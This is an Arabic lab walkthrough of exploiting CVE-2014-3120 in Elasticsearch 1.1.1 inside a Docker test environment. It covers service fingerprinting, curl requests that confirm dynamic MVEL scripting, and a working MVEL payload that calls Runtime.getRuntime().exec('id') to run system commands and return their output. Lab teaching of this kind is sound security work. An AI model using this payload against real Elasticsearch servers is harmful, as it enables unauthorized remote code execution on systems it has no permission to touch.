
دليل مخبري خطوة بخطوة يوضح استغلال CVE-2014-3120 ضد Elasticsearch 1.1.1، ويغطي تحليل الثغرة، وتنفيذ الأوامر عن بُعد (RCE) عبر سكربتات MVEL، وما بعد الاستغلال في بيئة Docker.
نبدأ بما هو قيد التشغيل في البيئة. نعرض جميع الحاويات النشطة:
docker ps

النتيجة: الحاوية p1/lab10:latest قيد التشغيل، وتُظهر منفذين خارجيًا:
| تعيين المنفذ | البروتوكول |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (يحتاج إلى تحقق) |
0.0.0.0:9300 → 9300/tcp | غير معروف |
ملاحظة أولية: المنفذان 9200 و9300 معروفان عمومًا كمنفذين افتراضيين لـ Elasticsearch. ومع ذلك، لا يمكننا الجزم بناءً على أرقام المنافذ فقط - فالعديد من الخدمات الأخرى يمكنها الارتباط بأي منفذ.
⇒ نستخدم curl مباشرة على كل منفذ للتحقق من الخدمة الفعلية قيد التشغيل.
curl -i http://192.168.3.137:9300/

تحليل الاستجابة:
curl: (52) Empty reply from serverالتقييم: قبل الخادم اتصال TCP (لا يوجد رفض اتصال)، ولكنه لم يستجب باستخدام بروتوكول HTTP. هذا يتوافق مع سلوك بروتوكول نقل Elasticsearch (Transport protocol) على المنفذ 9300 - وهو بروتوكول ثنائي يُستخدم للتواصل بين العقد في العنقود (Cluster)، وليس HTTP.
⇒ المنهجية: المنفذ 9300 يستخدم بروتوكولًا ثنائيًا → لا يمكن استغلاله مباشرة عبر curl أو المتصفح. ننتقل إلى فحص المنفذ 9200 - منفذ REST API الخاص بـ HTTP.
curl -i http://192.168.3.137:9200/

تحليل الاستجابة:
| الحقل | القيمة | المعنى |
|---|---|---|
name | "Rage" | اسم عقدة Elasticsearch (اسم شخصية Marvel عشوائي - السلوك الافتراضي للإصدارات القديمة من ES) |
version.number | "1.1.1" | إصدار قديم جدًا - صدر في أبريل 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | بُني في عام 2014 |
lucene_version | "4.7" | Lucene 4.7 - محرك فهرسة قديم |
tagline | "You Know, for Search" | العبارة المميزة لـ Elasticsearch |
تقييم سطح الهجوم:

⇒ المنهجية: إصدار Elasticsearch 1.1.1 يُفعّل البرمجة الديناميكية (Dynamic Scripting) افتراضيًا - مما يسمح للعملاء بإرسال سكربتات (تعبيرات MVEL) داخل استعلامات البحث ليُنفذها الخادم. وبدون صندوق حماية (Sandbox) أو تحقق مناسب، يمكن للمهاجم حقن سكربت خبيث لتنفيذ أوامر النظام. الخطوة التالية: التحقق مما إذا كانت البرمجة الديناميكية نشطة فعلًا على الهدف.
يدعم Elasticsearch ميزة البرمجة (Scripting) - وهي تتيح للعملاء إرسال سكربتات (تعبيرات رياضية أو منطقية) داخل طلبات البحث ليقوم الخادم بتنفيذها أثناء معالجة النتائج. في الإصدارات 1.x من Elasticsearch، المحرك الافتراضي لهذه الميزة هو MVEL (MVFLEX Expression Language).
في إصدارات Elasticsearch الأقدم من 1.2، تكون البرمجة الديناميكية مفعّلة افتراضيًا (script.disable_dynamic: false). هذا يعني:
script_fields في واجهة _searchjava.lang.Runtime.getRuntime().exec() لتنفيذ أوامر النظامscript_fieldsعند إرسال طلب بحث يتضمن script_fields، سيقوم Elasticsearch بما يلي:
_searchscript_fields → العثور على script المراد تنفيذهفي Java، الطريقة الأكثر شيوعًا لتنفيذ أمر نظام هي:
Runtime.getRuntime().exec("command");
MVEL، كلغة تعبيرات تتمتع بـ وصول كامل إلى فئات Java، تسمح باستدعاء ذلك مباشرة:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
شرح كل جزء:
| الجزء | الشرح |
|---|---|
import java.io.* | استيراد فئات الإدخال/الإخراج في Java |
Runtime.getRuntime() | استرجاع مثيل بيئة Java التشغيلية |
.exec("id") | تنفيذ أمر الصدفة id |
.getInputStream() | استرجاع تدفق مخرجات العملية |
new Scanner(...).useDelimiter("\\A").next() | قراءة كامل المخرجات كنص |
⇒ المنهجية: مع Elasticsearch، يتم إرجاع مخرجات RCE مباشرة في الاستجابة — دون الحاجة إلى إعادة توجيهها إلى ملف ثم قراءتها. وهذا يجعل الاستغلال أنظف وأسرع للتحقق.
بعد تحديد الهدف على أنه Elasticsearch 1.1.1، الخطوة التالية هي التحقق مما إذا كانت البرمجة الديناميكية (Dynamic Scripting) مفعّلة فعلًا.
تستغل CVE-2014-3120 حقيقة أن Elasticsearch يسمح للعملاء بإرسال سكربتات داخل طلبات _search. إذا نُفِّذ السكربت بواسطة الخادم، يمكن للمهاجم استبدال التعبير غير الضار بحمولة تستدعي Java Runtime لتنفيذ أوامر النظام.
أولًا، ننشئ مستندًا تجريبيًا لضمان وجود نتيجة مطابقة واحدة على الأقل للاستعلام. إذا لم تتطابق أي مستندات، فلن يتم تقييم script_fields.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
ثم نقوم بتحديث الفهرس:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
بعد ذلك، نرسل طلب _search يتضمن script_fields يحتوي على تعبير MVEL غير ضار:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

أرسلنا السكربت "1+1" وأعاد الخادم النتيجة 2. هذا يُثبت أن Elasticsearch لا يستقبل طلب _search فحسب، بل ينفذ السكربت الديناميكي على جانب الخادم.
⇒ البرمجة الديناميكية (Dynamic Scripting) نشطة على الهدف.
نظرًا لأن الهدف هو Elasticsearch 1.1.1، أي قبل الإصدار 1.2، فهذا يتوافق مع متطلبات استغلال CVE-2014-3120: إصدارات Elasticsearch قبل 1.2 تُفعّل البرمجة الديناميكية افتراضيًا، مما يسمح للمهاجم البعيد بتنفيذ تعبيرات MVEL/كود Java عبر طلب بحث.
لقد تحققنا من أن script_fields تُنفَّذ بواسطة Elasticsearch على جانب الخادم عبر التعبير غير الضار "1+1" الذي أرجَع [2].
هذا يُثبت أن الهدف لا يسمح بعمليات البحث القياسية فقط، بل يسمح أيضًا للعملاء بإرسال سكربت MVEL ليقوم الخادم بتقييمه أثناء معالجة _search.
مع CVE-2014-3120، يكمن الخطر الحرج في حقيقة أن MVEL في Elasticsearch 1.1.1 يمكنه الوصول إلى فئات Java. لذلك، بدلًا من إرسال تعبير رياضي مثل "1+1"، يمكن للمهاجم إرسال سكربت يستدعي Java Runtime:
Runtime.getRuntime().exec("command")
هذه هي واجهة برمجة تطبيقات Java القياسية المستخدمة لإنشاء عملية جديدة وتنفيذ أوامر على نظام التشغيل.
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response